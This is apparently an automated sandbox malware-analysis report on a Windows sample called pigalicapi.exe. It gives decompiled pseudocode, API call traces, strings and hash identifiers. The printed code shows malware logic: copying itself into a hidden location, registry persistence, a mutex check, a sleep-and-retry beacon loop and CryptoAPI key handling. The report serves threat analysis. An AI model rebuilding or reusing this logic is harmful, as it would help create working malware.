				_t87 = E00EC5F30(); // executed
				 *0xed435c = _t87 & 0x000000ff | _v1149 & 0x000000ff;
				_t88 = E00EC9B90(0xffffffff);
				_t173 = _t165 + 0x50;
				 *0xed4364 = _t88;
				_t89 =  &_v1556;
				_push(_t89);
				_push(0x202); // executed
				L00ECB1E6(); // executed
				if(_t89 != 0) {
					goto L39;
				} else {
					_t125 =  *0xed19a8; // 0x1d
					_v12081 = _t125;
					 *0xed4378 = 0x10;
					if(( *0xed435f & 0x000000ff) != 0) {
						_t118 =  *0xed4378; // 0x1b
						 *0xed4378 = _t118 | 0x00000008;
					}
					if(( *0xed435c & 0x000000ff) != 0) {
						_t161 =  *0xed4378; // 0x1b
						 *0xed4378 = _t161 | 0x00000001;
					}
					if(( *0xed435b & 0x000000ff) != 0) {
						_t140 =  *0xed4378; // 0x1b
						 *0xed4378 = _t140 | 0x00000004;
					}
					if(( *0xed435e & 0x000000ff) != 0) {
						_t116 =  *0xed4378; // 0x1b
						 *0xed4378 = _t116 | 0x00000002;
					}
					if(( *0xed4360 & 0x000000ff) != 0) {
						_t159 =  *0xed4378; // 0x1b
						 *0xed4378 = _t159 | 0x00000020;
					}
					_t91 =  *0xed4361 & 0x000000ff;
					if(( *0xed4361 & 0x000000ff) != 0) {
						_t138 =  *0xed4378; // 0x1b
						 *0xed4378 = _t138 | 0x00000040;
					}
					_v9564 = 0x9c3;
					E00EC7D20(_t91,  &_v12068, 0, 0x9c4);
					E00ECA700();
					E00ECA4B0( &_v12068,  &_v9564, 0xed3cb6,  *0xed3cb4 & 0x0000ffff);
					_v9560 = 0;
					_t97 = E00EC5B50( &_v12068, ";",  &_v9560, 0); // executed
					_v12072 = _t97;
					_v12092 = 0;
					_v12080 = 0;
					_v12076 = 0x4b0;
					_t98 = E00EC8A70(0xed2c34,  &_v12076, 0xed2ba8, 0x8c, 0xece008, 0x254); // executed
					_t177 = _t173 + 0x44;
					if(_t98 != 0) {
						E00EC7D20( &_v9556,  &_v9556, 0, 0x1f40);
						E00EC78D0(0xed2c34, 0xc8,  &_v9556, 0xc8);
						_t177 = _t177 + 0x1c;
						_v12092 =  &_v9556;
						_v12080 = 0xc8;
					}
					_v12088 = 0;
					L17:
					_v12101 = 0;
					_v12108 = 0x1d4c0;
					_v12096 = 0;
					_t100 = E00EC7970( &_v12096); // executed
					_v12100 = _t100;
					_t102 = E00EC4020(_v12096, _v12100,  &_v1148, 1, 2, 0);
					_t177 = _t177 + 0x1c;
					if((_t102 & 0x000000ff) != 0) {
						_v12101 = 1;
					} else {
						_t104 = E00EC4020(_v12092, _v12080,  &_v1148, 1, 5, 0);
						_t177 = _t177 + 0x18;
						if((_t104 & 0x000000ff) != 0) {
							_v12101 = 1;
						} else {
							_t106 = E00EC4020(_v9560, _v12072,  &_v1148, 3, 0xa, 1); // executed
							_t177 = _t177 + 0x18;
							if((_t106 & 0x000000ff) != 0) {
								_v12101 = 1;
							} else {
								_v12116 = 0;
								_v12112 = E00EC42E0( &_v12116);
								_t110 = E00EC4020(_v12116, _v12112,  &_v1148, 1, 0x17, 0);
								_t177 = _t177 + 0x1c;
								if((_t110 & 0x000000ff) != 0) {
									_v12101 = 1;
								}
								if(_v12116 != 0) {
									VirtualFree(_v12116, 0, 0x8000);
								}
							}
						}
					}
					if((_v12101 & 0x000000ff) != 0) {
						if( *0xed18a4 != 1) {
							if( *0xed18a4 == 2) {
								 *0xed18a4 = 1;
								_v12108 = 0x1499700;
							}
						} else {
							if( *0xed30e4 != 2) {
								_v12108 = 0x1499700;
							} else {
								_v12108 = 0x3e8;
								 *0xed18a4 = 2;
							}
						}
					}
					Sleep(_v12108); // executed
					goto L17;
				}
			}

0x00ec3b08
0x00ec3b12
0x00ec3b19
0x00ec3b2d
0x00ec3b38
0x00ec3b40
0x00ec3b4f
0x00ec3b54
0x00ec3b5c
0x00ec400a
0x00ec400c
0x00ec400c
0x00ec3b70
0x00ec3b7f
0x00ec3b8c
0x00ec3b9a
0x00ec3ba2
0x00ec3bb4
0x00ec3bca
0x00ec3bd2
0x00ec3bd7
0x00ec3be1
0x00ec3be6
0x00ec3beb
0x00ec3bfa
0x00ec3c02
0x00ec3c06
0x00ec3c2a
0x00ec3c34
0x00ec3c3c
0x00ec3c41
0x00ec3c48
0x00ec3c4d
0x00ec3c53
0x00ec3c64
0x00ec3c6c
0x00ec3c71
0x00ec3c74
0x00ec3c79
0x00ec3c7f
0x00ec3c80
0x00ec3c85
0x00ec3c8c
0x00000000
0x00ec3c92
0x00ec3c92
0x00ec3c98
0x00ec3c9e
0x00ec3cb1
0x00ec3cb3
0x00ec3cbb
0x00ec3cbb
0x00ec3cc9
0x00ec3ccb
0x00ec3cd4
0x00ec3cd4
0x00ec3ce3
0x00ec3ce5
0x00ec3cee
0x00ec3cee
0x00ec3cfd
0x00ec3cff
0x00ec3d07
0x00ec3d07
0x00ec3d15
0x00ec3d17
0x00ec3d20
0x00ec3d20
0x00ec3d26
0x00ec3d2f
0x00ec3d31
0x00ec3d3a
0x00ec3d3a
0x00ec3d40
0x00ec3d58
0x00ec3d60
0x00ec3d80
0x00ec3d88
0x00ec3da7
0x00ec3daf
0x00ec3db5
0x00ec3dbf
0x00ec3dc9
0x00ec3df3
0x00ec3df8
0x00ec3dfd
0x00ec3e0d
0x00ec3e2b
0x00ec3e30
0x00ec3e39
0x00ec3e3f
0x00ec3e3f
0x00ec3e49
0x00ec3e53
0x00ec3e53
0x00ec3e5a
0x00ec3e64
0x00ec3e75
0x00ec3e7d
0x00ec3e9e
0x00ec3ea3
0x00ec3eab
0x00ec3f8a
0x00ec3eb1
0x00ec3ecc
0x00ec3ed1
0x00ec3ed9
0x00ec3f81
0x00ec3edf
0x00ec3efa
0x00ec3eff
0x00ec3f07
0x00ec3f78
0x00ec3f09
0x00ec3f09
0x00ec3f22
0x00ec3f43
0x00ec3f48
0x00ec3f50
0x00ec3f52
0x00ec3f52
0x00ec3f60
0x00ec3f70
0x00ec3f70
0x00ec3f76
0x00ec3f7f
0x00ec3f88
0x00ec3f9a
0x00ec3fa3
0x00ec3fd7
0x00ec3fd9
0x00ec3fe3
0x00ec3fe3
0x00ec3fa5
0x00ec3fac
0x00ec3fc4
0x00ec3fae
0x00ec3fae
0x00ec3fb8
0x00ec3fb8
0x00ec3fce
0x00ec3fa3
0x00ec3ff4
0x00000000
0x00ec3ff4

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\pigalicapi.exe,00000208), ref: 00EC3B2D
SetUnhandledExceptionFilter.KERNEL32(00EC5DB0), ref: 00EC3B38
CoInitialize.OLE32(00000000), ref: 00EC3B40

Part of subcall function 00EC4510: GetModuleFileNameA.KERNEL32(00000000,?,00000208), ref: 00EC456C
Part of subcall function 00EC4510: CreateFileA.KERNEL32(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 00EC458B
Part of subcall function 00EC4510: GetFileSize.KERNEL32(000000FF,00000000), ref: 00EC45AD
Part of subcall function 00EC4510: VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 00EC45D6
Part of subcall function 00EC4510: ReadFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 00EC4617
Part of subcall function 00EC4510: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00EC463E
Part of subcall function 00EC4510: VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 00EC47C0
Part of subcall function 00EC4510: CloseHandle.KERNEL32(00000000), ref: 00EC47E0

ExitProcess.KERNEL32 ref: 00EC400C

Part of subcall function 00EC5700: GetModuleFileNameA.KERNEL32(00000000,-00000100,00000104), ref: 00EC5742
Part of subcall function 00EC5700: lstrcpyA.KERNEL32(-0000043B,pigalicapi), ref: 00EC57B8
Part of subcall function 00EC5700: GetAllUsersProfileDirectoryA.USERENV(?,00000207), ref: 00EC57F1
Part of subcall function 00EC5700: wnsprintfA.SHLWAPI ref: 00EC582F
Part of subcall function 00EC5700: CreateFileA.KERNEL32(-00000100,80000000,00000007,00000000,00000003,00000080,00000000), ref: 00EC5854
Part of subcall function 00EC5700: GetFileSize.KERNEL32(000000FF,00000000), ref: 00EC586D

Part of subcall function 00EC5A00: lstrcpyA.KERNEL32(Ackxwgsxooono,WDefault), ref: 00EC5A47
Part of subcall function 00EC5A00: lstrlenA.KERNEL32(00ECC4E0), ref: 00EC5A7D
Part of subcall function 00EC5A00: lstrcpyA.KERNEL32(00000000,00ECC4E0), ref: 00EC5A97
Part of subcall function 00EC5A00: lstrlenA.KERNEL32(00000000), ref: 00EC5AA1
Part of subcall function 00EC5A00: lstrlenA.KERNEL32(Ackxwgsxooono), ref: 00EC5AAE
Part of subcall function 00EC5A00: lstrcatA.KERNEL32(00000000,Ackxwgsxooono), ref: 00EC5AC8
Part of subcall function 00EC5A00: RegCreateKeyExA.KERNEL32(80000001,00000000,00000000,00000000,00000000,00020006,00000000,00000000,00000000), ref: 00EC5B00
Part of subcall function 00EC5A00: RegCloseKey.KERNEL32(00000000), ref: 00EC5B0E
Part of subcall function 00EC5A00: lstrlenA.KERNEL32(00000000), ref: 00EC5B3B

Part of subcall function 00EC9400: lstrcpyA.KERNEL32(?,00000000), ref: 00EC9513
Part of subcall function 00EC9400: CharUpperA.USER32(?), ref: 00EC9521

Part of subcall function 00EC99F0: GetCurrentProcess.KERNEL32(00000008,?), ref: 00EC9A0A
Part of subcall function 00EC99F0: OpenProcessToken.ADVAPI32(00000000), ref: 00EC9A11
Part of subcall function 00EC99F0: GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),00000000,00000000,00000000), ref: 00EC9A3A
Part of subcall function 00EC99F0: GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),?,00000400,00000400), ref: 00EC9A77
Part of subcall function 00EC99F0: CreateWellKnownSid.ADVAPI32(0000000C,00000000,?,00000044), ref: 00EC9AAD
Part of subcall function 00EC99F0: EqualSid.ADVAPI32(?,00000000), ref: 00EC9AC3

Part of subcall function 00EC6060: GetModuleFileNameA.KERNEL32(00000000,00000000,00000104), ref: 00EC6082

Part of subcall function 00EC5E00: CreateMutexA.KERNEL32(00000000,00000000,pigalicapi,?,00EC3BEB), ref: 00EC5E0C
Part of subcall function 00EC5E00: GetLastError.KERNEL32(?,00EC3BEB), ref: 00EC5E12

StrStrIA.SHLWAPI(C:\Users\user\pigalicapi.exe,svchost.exe), ref: 00EC3BFA

Part of subcall function 00EC1120: lstrlenA.KERNEL32(00000000), ref: 00EC1148
Part of subcall function 00EC1120: lstrlenA.KERNEL32(00000000), ref: 00EC115A
Part of subcall function 00EC1120: GetAllUsersProfileDirectoryA.USERENV(?,00000104), ref: 00EC1182
Part of subcall function 00EC1120: wnsprintfA.SHLWAPI ref: 00EC11BD
Part of subcall function 00EC1120: lstrcmpiA.KERNEL32(00000104,?), ref: 00EC11D1
Part of subcall function 00EC1120: CopyFileA.KERNEL32(00000104,?,00000000), ref: 00EC11F0
Part of subcall function 00EC1120: SetFileAttributesA.KERNEL32(?,00000006), ref: 00EC11FF
Part of subcall function 00EC1120: lstrcpyA.KERNEL32(00000104,?), ref: 00EC1210
Part of subcall function 00EC1120: lstrcpyA.KERNEL32(00000000,?), ref: 00EC1249
Part of subcall function 00EC1120: lstrcpyA.KERNEL32(-00000208,00000000), ref: 00EC125D
Part of subcall function 00EC1120: CreateThread.KERNEL32 ref: 00EC1274

Part of subcall function 00EC5E30: RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,000F003F,00000000), ref: 00EC5E7E
Part of subcall function 00EC5E30: RegQueryValueExA.KERNEL32(00000000,?,00000000,00000000,?,00000020), ref: 00EC5EB2
Part of subcall function 00EC5E30: RegDeleteValueA.ADVAPI32(00000000,?), ref: 00EC5ED6
Part of subcall function 00EC5E30: RegSetValueExA.ADVAPI32(00000000,?,00000000,00000003,?,00000010), ref: 00EC5F0B
Part of subcall function 00EC5E30: RegCloseKey.KERNEL32(00000000), ref: 00EC5F19

Part of subcall function 00EC6CF0: RegOpenKeyExA.KERNEL32(80000001,00ED3B88,00000000,000F003F,00000000), ref: 00EC6D30
Part of subcall function 00EC6CF0: RegQueryValueExA.KERNEL32(00000000,00ED3FA6,00000000,00000003,?,00000020), ref: 00EC6D61
Part of subcall function 00EC6CF0: RegDeleteValueA.ADVAPI32(00000000,00ED3FA6), ref: 00EC6D7E
Part of subcall function 00EC6CF0: RegCloseKey.ADVAPI32(00000000), ref: 00EC6D88

Part of subcall function 00EC5F30: lstrcpyA.KERNEL32(?,pigalicapi), ref: 00EC5F67
Part of subcall function 00EC5F30: lstrcatA.KERNEL32(?,00ED3FE2), ref: 00EC5F7A
Part of subcall function 00EC5F30: RegOpenKeyExA.ADVAPI32(80000001,X<,00000000,000F003F,00000000), ref: 00EC5FB3
Part of subcall function 00EC5F30: RegQueryValueExA.KERNEL32(00000000,?,00000000,00000000,?,00000020), ref: 00EC5FF2
Part of subcall function 00EC5F30: RegSetValueExA.ADVAPI32(00000000,?,00000000,00000003,?,00000010), ref: 00EC603B
Part of subcall function 00EC5F30: RegCloseKey.ADVAPI32(00000000), ref: 00EC6045

WSAStartup.WS2_32(00000202,?), ref: 00EC3C85

Part of subcall function 00EC4020: InitializeCriticalSection.KERNEL32(?), ref: 00EC4066
Part of subcall function 00EC4020: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 00EC407A
Part of subcall function 00EC4020: EnterCriticalSection.KERNEL32(?,?), ref: 00EC40AF
Part of subcall function 00EC4020: VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 00EC40C6
Part of subcall function 00EC4020: TerminateThread.KERNEL32(00000000,00000000), ref: 00EC40E6
Part of subcall function 00EC4020: ResetEvent.KERNEL32(00000000), ref: 00EC40F7
Part of subcall function 00EC4020: LeaveCriticalSection.KERNEL32(?), ref: 00EC4101
Part of subcall function 00EC4020: CreateThread.KERNEL32 ref: 00EC4118

VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 00EC3F70
Sleep.KERNEL32(?), ref: 00EC3FF4

Strings

C:\Users\user\pigalicapi.exe, xrefs: 00EC3B26, 00EC3BF5, 00EC3C25
pigalicapi, xrefs: 00EC3C20
R+g, xrefs: 00EC3D7F
svchost.exe, xrefs: 00EC3BF0
Topdawabe, xrefs: 00EC3BAF, 00EC3BBE

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: File$Createlstrcpy$Value$Closelstrlen$ModuleNameOpenVirtual$CriticalFreeProcessQuerySectionThreadToken$DeleteDirectoryEventInformationInitializeProfileSizeUserslstrcatwnsprintf$AllocAttributesChangeCharCopyCurrentEnterEqualErrorExceptionExitFilterFindHandleKnownLastLeaveMutexNotificationReadResetSleepStartupTerminateUnhandledUpperWelllstrcmpi
String ID: C:\Users\user\pigalicapi.exe$R+g$Topdawabe$pigalicapi$svchost.exe
API String ID: 1389186475-1687088032
Opcode ID: f32ee04b7fd3e243bf283176bfa851bcc2e21c4973037778276994c8f4e02330
Instruction ID: fa0a5e98c22aac5301f9001a382a721af1339a5c9ee5a1f78eefb381a596d7a0
Opcode Fuzzy Hash: f32ee04b7fd3e243bf283176bfa851bcc2e21c4973037778276994c8f4e02330
Instruction Fuzzy Hash: F0C128F0A44364AFE724DB65AC1AFBA77B0AB14705F0440EEF148761D2DB724B8A8F51

Uniqueness

Uniqueness Score: -1.00%

Function 00EC4880 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 146
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 00EC48EB
CryptHashData.ADVAPI32(00000000,?,00000010,00000000), ref: 00EC490B
CryptDeriveKey.ADVAPI32(00000000,00006801,00000000,00000001,00000000), ref: 00EC493C
CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,?,000002F0), ref: 00EC496F
CryptDestroyKey.ADVAPI32(00000000), ref: 00EC4982
CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,?), ref: 00EC49A9
CryptHashData.ADVAPI32(?,?,000002F0,00000000), ref: 00EC49CC
CryptGetHashParam.ADVAPI32(?,00000004,00000000,00000004,00000000), ref: 00EC4A07
CryptGetHashParam.ADVAPI32(?,00000002,?,00000010,00000000), ref: 00EC4A34
CryptDestroyHash.ADVAPI32(?), ref: 00EC4A7D
CryptDestroyHash.ADVAPI32(00000000), ref: 00EC4A8A
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 00EC4AA5

Strings

eF, xrefs: 00EC4A66, 00EC4A69

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: Crypt$Hash$Destroy$CreateDataParam$ContextDecryptDeriveRelease
String ID: eF
API String ID: 2727466597-1572659738
Opcode ID: 376672e8ff5d7c55cf69c268fc6d6c1aecffa861c556dafb0a3946157bc49be0
Instruction ID: 600ac78272942681b3b7c44b82793207eb4e494f5f7bff6ab83f5fa24b52c5e4
Opcode Fuzzy Hash: 376672e8ff5d7c55cf69c268fc6d6c1aecffa861c556dafb0a3946157bc49be0
Instruction Fuzzy Hash: 8D510FB1A50318ABDB25CB50CD55FEA777CAB48B04F0045D8F609B61C0EB769B89CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00EC8800 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 113
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 62%

			E00EC8800(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, BYTE* _a20, int _a24) {
				int _v8;
				long* _v12;
				long _v16;
				long* _v20;
				signed int _v24;
				signed int _v28;
				long* _v32;
				char* _t41;
				int _t42;
				signed int _t43;
				intOrPtr _t46;
				int _t49;
				int _t51;
				char* _t71;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0) {
					L19:
					return _v8;
				} else {
					_v12 = 0;
					_t41 =  *0xed3370; // 0xecc6e4
					_t42 = CryptAcquireContextA( &_v12, _t41, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 0); // executed
					if(_t42 == 0) {
						_v16 = GetLastError();
						if(_v16 == 0x80090016 || _v16 == 0x8009000b) {
							_t71 =  *0xed3370; // 0xecc6e4
							CryptAcquireContextA( &_v12, _t71, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 8);
						}
					}
					if(_v12 != 0) {
						_v28 = 0x80;
						_v20 = 0;
						_v24 = _v28 << 0x00000010 | 0x00000001;
						_t43 = _v24;
						__imp__CryptGenKey(_v12, 0x6801, _t43,  &_v20);
						if(_t43 != 0) {
							_t46 = _a4;
							__imp__CryptExportKey(_v20, 0, 8, 0, _t46, _a8);
							if(_t46 != 0) {
								if(_a12 == 0 || _a16 == 0 || _a20 == 0 || _a24 == 0) {
									_v8 = 1;
								} else {
									_v32 = 0;
									_t49 = CryptImportKey(_v12, _a20, _a24, 0, 1,  &_v32); // executed
									if(_t49 != 0) {
										_t51 = _v20;
										__imp__CryptExportKey(_t51, _v32, 1, 0, _a12, _a16); // executed
										_v8 = _t51;
										CryptDestroyKey(_v32);
									}
								}
							}
							CryptDestroyKey(_v20); // executed
						}
						CryptReleaseContext(_v12, 0);
					}
					goto L19;
				}
			}

0x00ec8806
0x00ec8811
0x00ec895c
0x00ec8962
0x00ec8821
0x00ec8821
0x00ec8831
0x00ec883b
0x00ec8843
0x00ec884b
0x00ec8855
0x00ec8869
0x00ec8874
0x00ec8874
0x00ec8855
0x00ec887e
0x00ec8884
0x00ec888b
0x00ec889b
0x00ec88a2
0x00ec88af
0x00ec88b7
0x00ec88c1
0x00ec88cf
0x00ec88d7
0x00ec88dd
0x00ec893f
0x00ec88f1
0x00ec88f1
0x00ec890c
0x00ec8914
0x00ec8926
0x00ec892a
0x00ec8930
0x00ec8937
0x00ec8937
0x00ec893d
0x00ec88dd
0x00ec894a
0x00ec894a
0x00ec8956
0x00ec8956
0x00000000
0x00ec887e

APIs

CryptAcquireContextA.ADVAPI32(00000000,00ECC6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000,00EC8420,00000000,00001000,00000000), ref: 00EC883B
GetLastError.KERNEL32 ref: 00EC8845
CryptAcquireContextA.ADVAPI32(00000000,00ECC6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 00EC8874
CryptGenKey.ADVAPI32(00000000,00006801,?,00000000), ref: 00EC88AF
CryptExportKey.ADVAPI32(00000000,00000000,00000008,00000000,00000000,00000000), ref: 00EC88CF
CryptImportKey.ADVAPI32(00000000,00000000,?,00000000,00000001,?), ref: 00EC890C
CryptExportKey.ADVAPI32(00000000,?,00000001,00000000,00000000,00000000), ref: 00EC892A
CryptDestroyKey.ADVAPI32(?), ref: 00EC8937
CryptDestroyKey.ADVAPI32(00000000), ref: 00EC894A
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 00EC8956

Strings

Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 00EC8864
Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 00EC882C

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: Crypt$Context$AcquireDestroyExport$ErrorImportLastRelease
String ID: Microsoft Enhanced Cryptographic Provider v1.0$Microsoft Enhanced Cryptographic Provider v1.0
API String ID: 3052018297-947817771
Opcode ID: efbe15bfe96bd16e07eb2bf4b42648fc7aaf564f4a6e253f57d64eeb56ce1f4d
Instruction ID: c00b959e89a8ab57bc99fc2076d4c660bd24586ff6a0244e2643f41cd38cf663
Opcode Fuzzy Hash: efbe15bfe96bd16e07eb2bf4b42648fc7aaf564f4a6e253f57d64eeb56ce1f4d
Instruction Fuzzy Hash: E9413A71A00209EFEB14CFA5CA49FAE77B8BB44704F14851DF519B6280CBB69946CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00EC8BB0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 101
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 30%

			E00EC8BB0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, int _a16) {
				int _v8;
				long* _v12;
				int _v16;
				char _v20;
				int _v24;
				char _v28;
				int _v32;
				char* _t36;
				int _t37;
				intOrPtr _t39;
				char* _t41;
				intOrPtr _t43;
				char* _t57;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0) {
					L17:
					return _v8;
				} else {
					_v12 = 0;
					_t36 =  *0xed3370; // 0xecc6e4
					_t37 = CryptAcquireContextA( &_v12, _t36, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 0); // executed
					if(_t37 == 0) {
						_t37 = GetLastError();
						_v16 = _t37;
						if(_v16 == 0x80090016 || _v16 == 0x8009000b) {
							_t57 =  *0xed3370; // 0xecc6e4
							_t37 = CryptAcquireContextA( &_v12, _t57, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 8);
						}
					}
					if(_v12 != 0) {
						__imp__CryptCreateHash(_v12, 0x8003, 0, 0,  &_v20);
						if(_t37 != 0) {
							_t39 = _a8;
							__imp__CryptHashData(_v20, _a4, _t39, 0);
							if(_t39 != 0) {
								_v24 = 0;
								_v28 = 4;
								_t41 =  &_v28;
								__imp__CryptGetHashParam(_v20, 4,  &_v24, _t41, 0);
								if(_t41 != 0 && _a16 >= _v24) {
									_v32 = _a16;
									_t43 = _a12;
									__imp__CryptGetHashParam(_v20, 2, _t43,  &_v32, 0);
									if(_t43 != 0) {
										_v8 = _v32;
									}
								}
							}
							__imp__CryptDestroyHash(_v20);
						}
						CryptReleaseContext(_v12, 0);
					}
					goto L17;
				}
			}

0x00ec8bb6
0x00ec8bc1
0x00ec8ce7
0x00ec8ced
0x00ec8be5
0x00ec8be5
0x00ec8bf5
0x00ec8bff
0x00ec8c07
0x00ec8c09
0x00ec8c0f
0x00ec8c19
0x00ec8c2d
0x00ec8c38
0x00ec8c38
0x00ec8c19
0x00ec8c42
0x00ec8c59
0x00ec8c61
0x00ec8c65
0x00ec8c71
0x00ec8c79
0x00ec8c7b
0x00ec8c82
0x00ec8c8b
0x00ec8c99
0x00ec8ca1
0x00ec8cae
0x00ec8cb7
0x00ec8cc1
0x00ec8cc9
0x00ec8cce
0x00ec8cce
0x00ec8cc9
0x00ec8ca1
0x00ec8cd5
0x00ec8cd5
0x00ec8ce1
0x00ec8ce1
0x00000000
0x00ec8c42

APIs

CryptAcquireContextA.ADVAPI32(00000000,00ECC6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 00EC8BFF
GetLastError.KERNEL32 ref: 00EC8C09
CryptAcquireContextA.ADVAPI32(00000000,00ECC6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 00EC8C38
CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 00EC8C59
CryptHashData.ADVAPI32(00000000,00000000,00000000,00000000), ref: 00EC8C71
CryptGetHashParam.ADVAPI32(00000000,00000004,00000000,00000004,00000000), ref: 00EC8C99
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 00EC8CC1
CryptDestroyHash.ADVAPI32(00000000), ref: 00EC8CD5
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 00EC8CE1

Strings

Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 00EC8C28
Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 00EC8BF0

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: Crypt$Hash$Context$AcquireParam$CreateDataDestroyErrorLastRelease
String ID: Microsoft Enhanced Cryptographic Provider v1.0$Microsoft Enhanced Cryptographic Provider v1.0
API String ID: 731959895-947817771
Opcode ID: ba47ef4bebe14e56af3dea77fcc4314282ada6edb04a85232c35c4e7fdc0b81a
Instruction ID: 2d16a7f747f9a4bd2ad996918e2fa06c4d4be333a37c4894b2beea409e38601b
Opcode Fuzzy Hash: ba47ef4bebe14e56af3dea77fcc4314282ada6edb04a85232c35c4e7fdc0b81a
Instruction Fuzzy Hash: 0D411671A40209EFDB14CF95CA49FEFB7B8BB04704F14811DF605B6280CBB69A46CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00EC8A70 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 97
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EC8A70(BYTE* _a4, DWORD* _a8, BYTE* _a12, int _a16, BYTE* _a20, int _a24) {
				int _v8;
				long* _v12;
				long _v16;
				long* _v20;
				long* _v24;
				char* _t35;
				int _t36;
				int _t38;
				char* _t62;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0 || _a20 == 0 || _a24 == 0) {
					L16:
					return _v8;
				} else {
					_v12 = 0;
					_t35 =  *0xed3370; // 0xecc6e4
					_t36 = CryptAcquireContextA( &_v12, _t35, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 0); // executed
					if(_t36 == 0) {
						_v16 = GetLastError();
						if(_v16 == 0x80090016 || _v16 == 0x8009000b) {
							_t62 =  *0xed3370; // 0xecc6e4
							CryptAcquireContextA( &_v12, _t62, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 8);
						}
					}
					if(_v12 != 0) {
						_v20 = 0;
						_t38 = CryptImportKey(_v12, _a20, _a24, 0, 1,  &_v20); // executed
						if(_t38 != 0) {
							_v24 = 0;
							if(CryptImportKey(_v12, _a12, _a16, _v20, 1,  &_v24) != 0) {
								_v8 = CryptDecrypt(_v24, 0, 1, 0, _a4, _a8);
								CryptDestroyKey(_v24);
							}
							CryptDestroyKey(_v20);
						}
						CryptReleaseContext(_v12, 0);
					}
					goto L16;
				}
			}

0x00ec8a76
0x00ec8a81
0x00ec8ba3
0x00ec8ba9
0x00ec8ab9
0x00ec8ab9
0x00ec8ac9
0x00ec8ad3
0x00ec8adb
0x00ec8ae3
0x00ec8aed
0x00ec8b01
0x00ec8b0c
0x00ec8b0c
0x00ec8aed
0x00ec8b16
0x00ec8b1c
0x00ec8b37
0x00ec8b3f
0x00ec8b41
0x00ec8b66
0x00ec8b80
0x00ec8b87
0x00ec8b87
0x00ec8b91
0x00ec8b91
0x00ec8b9d
0x00ec8b9d
0x00000000
0x00ec8b16

APIs

CryptAcquireContextA.ADVAPI32(00000000,00ECC6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 00EC8AD3
GetLastError.KERNEL32 ref: 00EC8ADD
CryptAcquireContextA.ADVAPI32(00000000,00ECC6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 00EC8B0C
CryptImportKey.ADVAPI32(00000000,00000000,?,00000000,00000001,00000000), ref: 00EC8B37
CryptImportKey.ADVAPI32(00000000,00000000,00000000,00000000,00000001,00000000), ref: 00EC8B5E
CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000000), ref: 00EC8B7A
CryptDestroyKey.ADVAPI32(00000000), ref: 00EC8B87
